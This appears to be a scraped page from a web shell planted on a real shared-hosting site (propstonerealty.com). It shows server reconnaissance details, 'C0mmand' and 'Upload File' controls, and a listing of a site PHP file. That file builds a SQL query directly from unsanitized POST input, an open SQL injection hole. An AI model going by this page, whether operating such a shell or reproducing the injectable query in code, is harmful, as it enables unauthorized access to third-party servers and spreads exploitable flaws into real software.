Server IP : 111.118.215.189 / Your IP : 3.15.203.168 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home1/a1673wkz/propstonerealty.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<select class="custom-select sel4 sub_loc" multiple name="sublocation[]"> <?php include("config.php"); $location=$_POST['sec_loc']; $loc_cnt=count(((array) $_POST['sec_loc'])); //echo $loc_cnt; for($i=0;$i<$loc_cnt;$i++) { $loc=$_POST['sec_loc'][$i]; // echo "SELECT * FROM model WHERE brand='$loc'"; $fetch=$obj->fetch("SELECT * FROM model WHERE brand='$loc'"); foreach($fetch as $val) { ?> <option value="<?php echo $val['id'] ?>"><?php echo $val['model'] ?></option> <?php } } ?> </select>